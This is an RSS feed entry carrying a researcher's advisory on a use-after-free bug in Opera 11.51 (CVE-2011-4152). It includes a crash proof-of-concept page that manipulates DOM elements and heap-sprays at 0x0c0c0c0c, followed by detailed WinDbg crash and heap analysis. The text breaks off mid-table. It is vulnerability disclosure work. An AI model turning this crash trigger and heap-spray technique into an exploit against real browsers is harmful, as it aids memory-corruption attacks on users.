<?xml version='1.0' encoding="ISO-8859-1"?>
				<rss version='2.0'>
				<channel>
				<copyright>malerisch.net 2011, all rights reserved.</copyright>
				<pubDate>Thu, 4 Nov 2010 06:25:27 GMT</pubDate>
 
				<description>Malerisch.net :: Site dedicated to security research, tools and articles</description>
   
				<link>http://malerisch.net/</link>

   
				<title>Malerisch.net</title>
				
				<webMaster>http://tinyurl.com/2s935s</webMaster>
   
				<language>en-gb</language>
				
				<item>
    <title>Opera Use After Free - Crash PoC</title>
    <link>http://malerisch.net/docs/advisories/opera_use_after_free_crash_poc.html</link>
    <description>
	 &lt;p&gt;&lt;strong&gt;Premise&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;It is about time for another bug release. It's Opera's turn, again in October, like three years ago when I released that &lt;a href=&quot;http://malerisch.net/docs/advisories/opera_stored_cross_site_scripting.html&quot;&gt;Opera Stored Cross Site Scripting&lt;/a&gt; vulnerability. It must be something with Opera, the month of October and myself, but not sure what :-). Usually, I mirror content from &lt;a href=&quot;http://www.security-assessment.com/page/advisories.htm&quot;&gt;Security-Assessment.com&lt;/a&gt; web site but I have decided to release the bug under my blog only, since I could not find an exploit for it and Opera does not consider this as a &quot;&lt;a href=&quot;http://my.opera.com/securitygroup/blog/2010/02/18/what-is-a-browser-security-issue-anyway&quot;&gt;browser security issue&lt;/a&gt;&quot;.&lt;/p&gt;
  &lt;p&gt;Also, according to Opera, the bug is unlikely to be exploited (see last paragraph of this &lt;a href=&quot;http://my.opera.com/securitygroup/blog/2011/10/19/about-the-svg-font-manipulation-vulnerability-that-was-fixed-in-11-52&quot;&gt;post&lt;/a&gt; for more information) and so I am releasing what I got: a crash PoC.&lt;/p&gt;
  &lt;p&gt;Below, you will find the same bug analysis I have shared with Opera. I need to admit that I have limited experience in debugging (especially heap related issues) and lack of debugging symbols did not really help in this case. However, I have tried my best to analyse the bug and provide as much feedback as possible to Opera. I would also take the opportunity to thank my colleagues Scott Bell and &lt;a href=&quot;https://sites.google.com/site/0x7674/&quot;&gt;Nick Freeman&lt;/a&gt; for their  help when looking at possible ways to exploit this bug. Any feedback is also greatly appreciated and welcome and I would &lt;em&gt;love&lt;/em&gt; to hear if the bug is actually exploitable :-). &lt;a href=&quot;http://www.enred20.org/node/27&quot;&gt;You never know&lt;/a&gt;.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Bug Details&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Name:  Opera – Use After Free - Crash PoC&lt;br /&gt;
    Vendor Website:  www.opera.com&lt;br /&gt;
    Initial Notification Date:  October 4th , 2011&lt;br /&gt;
    Affected Software:  Opera v11.51 and previous versions&lt;br /&gt;
    Researcher:  Roberto Suggi Liverani&lt;br /&gt;
	CVE: CVE-2011-4152&lt;br /&gt;
    &lt;br /&gt;
    &lt;strong&gt;Description&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
The PoC (Proof of Concept) provided below causes a crash in the latest Opera v.11.51.  Previous Opera versions (down to v.11.00) also crash with variations of the included test case. The attached test  case crashes the Opera v11.51 browser in both Windows XP and Windows 7 platforms.    The bug causes a memory access violation as a result of dereferencing a dangling pointer. The test case includes  a JavaScript crash() function which performs DOM operations on the &lt;em&gt; and &lt;strong&gt; HTML elements. Such  operations result in a dangling pointer. The crash only occurs when a quick and large memory allocation in the heap, e.g. heap spray (spray() function) immediately  follows the object removal from the DOM. As Opera attempts to reallocate previously freed memory during the  heap spray, it dereferences the dangling pointer and it crashes.&lt;/p&gt;

  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Crash PoC&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;&lt;html&gt; &lt;br /&gt;
        &lt;head&gt; &lt;br /&gt;
        &lt;script&gt; &lt;br /&gt;
        &lt;br /&gt;
        function spray() { &lt;br /&gt;
        for(S=&quot;\u0c0c&quot;,k=[],y=0;y++&lt;197;)y&lt;20?S+=S:k[y]=[S.substr(22)+&quot;\u4141\u4141&quot;].join(&quot;&quot;)&lt;/p&gt;
        &lt;p&gt;}&lt;br /&gt;
          &lt;br /&gt;
          function crash(){ &lt;br /&gt;
          // Clone Object -&gt; Remove Object - &gt; Append Reference) &lt;br /&gt;
          obj = document.body.children[0].cloneNode(true) &lt;br /&gt;
          document.body.removeChild(document.body.children[0]) &lt;br /&gt;
          document.body.appendChild(obj) &lt;br /&gt;
          &lt;br /&gt;
          // Clone Object -&gt; Remove Object - &gt; Append Reference) &lt;br /&gt;
          obj = document.body.children[0].cloneNode(true) &lt;br /&gt;
          document.body.removeChild(document.body.children[0]) &lt;br /&gt;
          document.body.appendChild(obj) &lt;br /&gt;
          &lt;br /&gt;
          // Clone Object -&gt; Remove Object - &gt; Append Reference) &lt;br /&gt;
          obj = document.body.children[0].cloneNode(true) &lt;br /&gt;
          document.body.removeChild(document.body.children[0]) &lt;br /&gt;
          document.body.appendChild(obj) &lt;br /&gt;
          &lt;br /&gt;
          // Clone Object -&gt; Remove Object - &gt; Heap Spray &lt;br /&gt;
          &lt;br /&gt;
          obj = document.body.children[1].cloneNode(true) &lt;br /&gt;
          document.body.removeChild(document.body.children[1]); &lt;br /&gt;
          spray(); // if this is removed Opera won't crash &lt;br /&gt;
          } &lt;br /&gt;
          &lt;br /&gt;
          &lt;/script&gt; &lt;br /&gt;
          &lt;/head&gt; &lt;br /&gt;
          &lt;body onload=&quot;crash();&quot;&gt; &lt;br /&gt;
          &lt;br /&gt;
          &lt;em contenteditable=&quot;true&quot;&gt;a&lt;/em&gt; &lt;br /&gt;
          &lt;strong contenteditable=&quot;true&quot;&gt;a&lt;/strong&gt; &lt;br /&gt;
          &lt;br /&gt;
          &lt;/body&gt; &lt;br /&gt;
          &lt;/html&gt;&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;&lt;strong&gt;Debugging&lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    For simplicity, the analysis below is based on testing on a Windows XP virtual machine using Windbg and Opera  11.51:&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Testing Environment&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; vertarget &lt;br /&gt;
        Windows XP Version 2600 UP Free x86 compatible &lt;br /&gt;
        Product: WinNt, suite: SingleUserTS &lt;br /&gt;
        kernel32.dll version: 5.1.2600.0 (xpclient.010817-1148) &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;&lt;b&gt;Analysis – Opera process running under debugger&lt;/b&gt;&lt;br /&gt;
    &lt;br /&gt;
    When Opera is started with Windbg, the crash occurs at 67453c00. Note that the registers values change at each  crash. In 90% of the cases, eax register ends up with a value of &lt;strong&gt;feeefeee&lt;/strong&gt; or with a different but invalid memory  address value. During the testing, Opera 11.51 always crashed with the provided test case. &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Crash – Opera process running under Windbg&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;This exception may be expected and handled. &lt;br /&gt;
        eax=feeefeee ebx=00000000 ecx=01634938 edx=01634938 esi=03dc9c30 edi=01ccd26c &lt;br /&gt;
        eip=67453c00 esp=0012e14c ebp=0012e17c iopl=0         nv up ei ng nz na pe nc &lt;br /&gt;
        cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010286 &lt;br /&gt;
        *** ERROR: Symbol file could not be found.  Defaulted to export symbols for &lt;br /&gt;
        C:\Program Files\Opera\Opera.dll - &lt;br /&gt;
        Opera!OpSetLaunchMan+0x172840: &lt;br /&gt;
        67453c00 8b481c          mov     ecx,dword ptr [eax+1Ch] ds:0023:feeeff0a=????????&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;The &lt;strong&gt;feeefeee&lt;/strong&gt; indicates the free-fill pattern added by the heap manager to trap any memory accesses to a heap  block after it has been freed.     A quick look at the bottom of the stack reporting the access violation indicates use of the heap manager.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Stack at the crash&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; kL &lt;br /&gt;
        ChildEBP RetAddr &lt;br /&gt;
        WARNING: Stack unwind information not available. Following frames may be wrong. &lt;br /&gt;
        0012e17c 679ff270 Opera!OpSetLaunchMan+0x172840 &lt;br /&gt;
        0012e260 6742247c Opera!OpWaitFileWasPresent+0x26d323 &lt;br /&gt;
        0012e27c 67404148 Opera!OpSetLaunchMan+0x1410bc &lt;br /&gt;
        0012e290 77fabb68 Opera!OpSetLaunchMan+0x122d88 &lt;br /&gt;
        0012e2c4 77fac859 ntdll!RtlpValidateHeap+0x1e &lt;br /&gt;
        0012e334 00000000 &lt;strong&gt;ntdll!RtlDebugFreeHeap&lt;/strong&gt;+0x204 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;During backtracing analysis, it was found that eax register at 67453c00 points to the actual heap block pointer to  be allocated (or freed). The spray() function in the template performs a heap spray at address 0x0c0c0c0c of  177 blocks with a memory use of approximately: ~178Mb. Such heap spray creates a condition which makes  Opera use previously-freed memory. When Opera attempts to dereference the dangling pointer, an access  violation occurs and Opera crashes. &lt;/p&gt;
  &lt;p&gt;By setting the breakpoint below at 67453c00 (eip value at the crash), it is possible to verify the above by  analysing Opera behavior with and without the heap spray. Note that Opera only crashes when the heap spray is  performed.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint to follow eax values&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;bp 67453c00 &quot;reax;.printf\&quot;\n\&quot;;g&quot; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;Without spray() - No crash condition&lt;br /&gt;
    &lt;br /&gt;
    It appears that eax register points to the UsrPointer, which is the actual pointer of a heap block to be allocated  (or freed). &lt;br /&gt;
    &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Last 6 eax values – No Heap Spray – No Crash&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;eax=03e8cc18 &lt;br /&gt;
        eax=03e8cc60 &lt;br /&gt;
        eax=019c1b98 &lt;br /&gt;
        eax=01a06088 &lt;br /&gt;
        eax=&lt;strong&gt;03d600d8 &lt;/strong&gt;&lt;br /&gt;
        eax=&lt;strong&gt;03d600d8&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;
  Let's take the last value of eax and analyse it. This is the UserPtr of a heap block (_HEAP_ENTRY+0x8 offset). &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Valid UserPtr &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:009&gt; !heap -p -a &lt;strong&gt;03d600d8&lt;/strong&gt;&lt;br /&gt;
address 03d600d8 found in &lt;br /&gt;
_HEAP @ a50000 &lt;br /&gt;
HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state &lt;br /&gt;
03d600d0 0009 0000  [07]   &lt;strong&gt;03d600d8&lt;/strong&gt; 00030 - (busy) &lt;br /&gt;
0:009&gt; dd 03d600d0 &lt;br /&gt;
03d600d0  00140009 00180705 &lt;strong&gt;01c2d888&lt;/strong&gt; 00000000 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt; The pointer seems valid and refers to: 01c2d888    The same thing occurs for the previous eax values, which are always UserPtr pointers.&lt;br /&gt;
    &lt;br /&gt;
    &lt;strong&gt;With spray() - Crash Condition&lt;/strong&gt;&lt;br /&gt;
    &lt;br /&gt;
    At some stage, the UserPtr pointer points to previously-freed memory.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Last 4 eax values – with heap spray – crash condition&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;eax=019abd18 &lt;br /&gt;
        eax=043b23b0 &lt;br /&gt;
        eax=049c0f38 &lt;br /&gt;
        eax=&lt;strong&gt;FEEEFEEE &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;However, let's take a look to a previous eax value: 043b23b0.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Valid Pointer &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; !heap -p -a &lt;strong&gt;043b23b0&lt;/strong&gt;&lt;br /&gt;
address 043b23b0 found in &lt;br /&gt;
_HEAP @ a50000 &lt;br /&gt;
HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state &lt;br /&gt;
043b23a8 0009 0000  [07]   &lt;strong&gt;043b23b0&lt;/strong&gt; 00030 - (busy) &lt;br /&gt;
0:000&gt; dd 043b23a8 &lt;br /&gt;
043b23a8  000b0009 00180705 &lt;strong&gt;01a26c20&lt;/strong&gt; 00000000 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;043b23b0 appears a valid pointer. Performing the same analysis with previous eax register values obtained from  the breakpoint, it is possible to always find a reference to a valid pointer (UserPtr). However, by looking at the  eax value 049c0f38 which is next to the crash, it is possible to see that the pointer refers to an invalid memory  location (0000001b). &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Dangling Pointer &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; !heap -p -a 049c0f38 &lt;br /&gt;
address 049c0f38 found in &lt;br /&gt;
_HEAP @ a50000 &lt;br /&gt;
HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state &lt;br /&gt;
049c0f30 000b 0000  [07]   049c0f38    00040 - (busy) &lt;br /&gt;
0:000&gt; dd 049c0f30 &lt;br /&gt;
049c0f30  000d000b 00180705 0000001b 000003c0 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;&lt;strong&gt;Attaching Debugger To Opera&lt;/strong&gt;&lt;/p&gt;
  &lt;p&gt;Analysis by attaching a debugger differs from the previous one, since the heap is constructed without the  debugger. The crash point changes from the one identified previously. The crash occurs at 67453be0, within the  same function of the previous crash. &lt;br /&gt;
    &lt;br /&gt;
  &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Crash – Attaching Debugger To Opera&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;eax=&lt;strong&gt;0000065a&lt;/strong&gt; ebx=00000000 ecx=0336b150 edx=0336b150 esi=0336b0e0 edi=01afefd4  eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0         nv up ei pl nz na pe nc  cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206  Opera_672e0000!OpSetLaunchMan+0x172820:  &lt;/p&gt;
        &lt;p&gt;&lt;strong&gt;67453be0&lt;/strong&gt; 83780400        cmp     dword ptr [eax+4],0  ds:0023:0000065e=???????? &lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;By looking at the stack, it is possible to see a reference to the Front End Manager:  RtlpLowFragHeapFree.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Stack – Reference To RtlpLowFragHeapFree &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;p&gt;0:000&gt; kL  ChildEBP RetAddr    WARNING: Stack unwind information not available. Following frames may be wrong.&lt;br /&gt;
        0012e17c 679ff270 Opera_672e0000!OpSetLaunchMan+0x172820&lt;br /&gt;
        0012e260 6742247c Opera_672e0000!OpWaitFileWasPresent+0x26d323&lt;br /&gt;
        0012e27c 67404148 Opera_672e0000!OpSetLaunchMan+0x1410bc&lt;br /&gt;
        0012e2b8 67474ae6 Opera_672e0000!OpSetLaunchMan+0x122d88&lt;br /&gt;
        0012e304 674051b1 Opera_672e0000!OpSetLaunchMan+0x193726&lt;br /&gt;
        0012e30c 673ec0f4 Opera_672e0000!OpSetLaunchMan+0x123df1&lt;br /&gt;
        0012e364 67403b0f Opera_672e0000!OpSetLaunchMan+0x10ad34&lt;br /&gt;
        0012e380 673ff58d Opera_672e0000!OpSetLaunchMan+0x12274f&lt;br /&gt;
        0012e3a8 674224b0 Opera_672e0000!OpSetLaunchMan+0x11e1cd&lt;br /&gt;
        0012e3c4 67404148 Opera_672e0000!OpSetLaunchMan+0x1410f0&lt;br /&gt;
        0012e3dc 77faea0b Opera_672e0000!OpSetLaunchMan+0x122d88&lt;br /&gt;
        0012e43c 676a5e8b &lt;strong&gt;ntdll!RtlpLowFragHeapFree&lt;/strong&gt;+0xb3&lt;br /&gt;
        0012e450 674d47ab Opera_672e0000!OpGetNextUninstallFile+0xa1703&lt;br /&gt;
        0012e470 6740bf8c Opera_672e0000!OpSetLaunchMan+0x1f33eb&lt;br /&gt;
        0012e4ac 67403b0f Opera_672e0000!OpSetLaunchMan+0x12abcc&lt;/p&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;Further analysis demonstrated that the value which ends up in eax register at the crash is set at this point:&lt;br /&gt;
    &lt;br /&gt;
  &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;77fae9dc &quot;.printf \&quot;RtlpLowFragHeapFree+0x88 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;The pointer that the above function uses is the one which appears in ecx and edx registers at the crash.    This is demonstrated below.&lt;br /&gt;
    &lt;br /&gt;
    The following debugging sequence in Windbg was used to reach such conclusion:&lt;br /&gt;
    - Start Opera;&lt;br /&gt;
    - Attach Windbg to Opera;&lt;br /&gt;
    - Set following breakpoint: &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint 0 &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;bp Opera_672e0000!OpWaitFileWasPresent+0x7fd73 6 &quot;.printf \&quot;===INTERESTING  FUNCTION===: Opera_672e0000!OpWaitFileWasPresent+0x7fd73 has (EDI+44h) pointer is:  %08x which refers to: %08x\\n\&quot;, poi(edi+44), poi(poi(edi+44));&quot;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;Always 6 passes are needed past this breakpoint. Then:&lt;br /&gt;
    - g&lt;br /&gt;
    - Load the test case into Opera&lt;br /&gt;
    &lt;br /&gt;
    At this point, the breakpoint should be hit. A further breakpoint should be set to break on write operation on the  pointer of interest (in this example, the pointer value is 03bea1e0 which comes from edi+44).&lt;br /&gt;
  &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint 1 &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ba w 4 poi(edi+44) &quot;.printf \&quot;WRITE ON pointer (edi+44h) - \&quot;; r eip; u eip - 10; r  bx; kL;&quot; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;  Application should continue to run. The debugger will break again and the registers should look something like  below with ebp, edx and esi set to 0. &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Stack At Breakpoint 1 &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WARNING: Stack unwind information not available. Following frames may be wrong. &lt;br /&gt;
        00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x169cc7 &lt;br /&gt;
        eax=0360bda0 ebx=0360bd30 ecx=0360bd30 edx=00000000 esi=00000000 edi=0012e5f0 &lt;br /&gt;
        eip=6744b087 esp=0012e5c8 ebp=00000000 iopl=0         nv up ei pl zr na pe nc &lt;br /&gt;
        cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;An additional breakpoint is required:&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint 2 &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;bp 77fae9dc &quot;.printf \&quot;RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x \&quot;, &lt;br /&gt;
        poi(edi+8); r edi+8; r bx;&quot; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;At this stage, breakpoint 1 needs to be removed&lt;br /&gt;
- bc 1&lt;br /&gt;
Then application should continue execution.&lt;br /&gt;
&lt;br /&gt;
The breakpoint 2 will be hit different times. However when poi(edi+8) = 0 for the first time, the register bx  should be checked. The value in bx will be the last 2 bytes (ax) of the eax register value at the crash. &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint 2 Hit – poi(edi+8) = 0 &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; g &lt;br /&gt;
        RtlpLowFragHeapFree+0x88 - edi+8 - &lt;strong&gt;poi(edi+8):        0&lt;/strong&gt;&lt;br /&gt;
        ^ Syntax error in '.printf &quot;RtlpLowFragHeapFree+0x88 - edi+8 - poi(edi+8): %8x ' &lt;br /&gt;
        eax=05b20000 ebx=0172&lt;strong&gt;05c7&lt;/strong&gt; ecx=00000156 edx=00000173 esi=036da8b8 edi=03bea1d8 &lt;br /&gt;
        eip=77fae9dc esp=0012e4a4 ebp=0012e4d4 iopl=0         nv up ei pl nz na pe nc &lt;br /&gt;
        cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000206 &lt;br /&gt;
        ntdll!RtlpLowFragHeapFree+0x84: &lt;br /&gt;
        77fae9dc 66895f08        mov     word ptr [edi+8],bx      ds:0023:03bea1e0=0000 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;Note: edi+8 = 0 and bx = 05c7.&lt;/p&gt;
  &lt;p&gt;Glancing at the stack below, it is possible to see two references to the heap manager (RtlFreeHeap+0x55 and  RtlpLowFragHeapFree+0x84). Both have the same argument: 03bea1e0. This is the pointer that it was  encountered before and on which breakpoint 1 was set to identify write operations.  This pointer will end up in  the crash in both ecx and edx registers.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Stack At Breakpoint 2 – poi(edi+8) = 0&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; kb &lt;br /&gt;
        ChildEBP RetAddr  Args to Child &lt;br /&gt;
        0012e4d4 77f84493 0012e5f0 03e54280 &lt;strong&gt;03bea1e0 ntdll!RtlpLowFragHeapFree+0x84&lt;/strong&gt;&lt;br /&gt;
        0012e598 67604d5a 00a50000 00000000 &lt;strong&gt;03bea1e0 ntdll!RtlFreeHeap+0x55&lt;/strong&gt;&lt;br /&gt;
        WARNING: Stack unwind information not available. Following frames may be wrong. &lt;br /&gt;
        0012e5ac 674429b8 03bea1e0 0012e5f0 00000000 &lt;br /&gt;
        Opera_672e0000!OpGetNextUninstallFile+0x5d2 &lt;br /&gt;
        00000000 00000000 00000000 00000000 00000000 Opera_672e0000!OpSetLaunchMan+0x1615f8 &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;Dump memory of 03bea1e0 returns 0000000.&lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Breakpoint 2 – Memory Dump of 03bea1e0&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; dd 03bea1e0 &lt;br /&gt;
        03bea1e0  00000000 00000000 00000000 00000000 &lt;br /&gt;
        03bea1f0  00000000 00000000 00000000 00020080 &lt;br /&gt;
        03bea200  00000000 00000000 00000000 00000000 &lt;br /&gt;
        03bea210  036da8b8 010801ff 01cbcd40 00000000 &lt;br /&gt;
        03bea220  03bea720 03bea250 03bea250 00000000 &lt;br /&gt;
        03bea230  00000000 40120356 00001300 05378640 &lt;br /&gt;
        03bea240  03c4457c 00000000 036da8b8 010801ff &lt;br /&gt;
        03bea250  03bea218 00000000 00000000 00000000&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;At this stage, in order to skip directly to the crash all breakpoints need to be removed:&lt;br /&gt;
    - bc 0&lt;br /&gt;
    - bc 2 &lt;br /&gt;
    A first chance exception should be encountered, as shown below: &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Crash&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;0:000&gt; g &lt;br /&gt;
        (24c.d0): Access violation - code c0000005 (first chance) &lt;br /&gt;
        First chance exceptions are reported before &lt;br /&gt;
        any exception handling. &lt;br /&gt;
        This exception may be expected and handled. &lt;br /&gt;
        eax=0000&lt;strong&gt;05c7&lt;/strong&gt; ebx=00000000 ecx=&lt;strong&gt;03bea1e0&lt;/strong&gt; edx=&lt;strong&gt;03bea1e0&lt;/strong&gt; esi=03bea250 edi=03778414 &lt;br /&gt;
        eip=67453be0 esp=0012e14c ebp=0012e17c iopl=0         nv up ei pl nz na po nc &lt;br /&gt;
        cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202 &lt;br /&gt;
        Opera_672e0000!OpSetLaunchMan+0x172820: &lt;br /&gt;
        67453be0 83780400        cmp     dword ptr [eax+4],0 &lt;br /&gt;
        ds:0023:000005cb=???????? &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;p&gt;As it can be seen, both ecx and edx contain the pointer which was encountered initially and which was used by  RtlFreeHeap+0x55 and RtlpLowFragHeapFree+0x84 as well.    Dump memory of edx shows the value which eax has at the crash. &lt;/p&gt;
  &lt;table width=&quot;100%&quot; border=&quot;1&quot; cellspacing=&quot;1&quot; cellpadding=&quot;1&quot;&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;edx – Memory Dump &lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
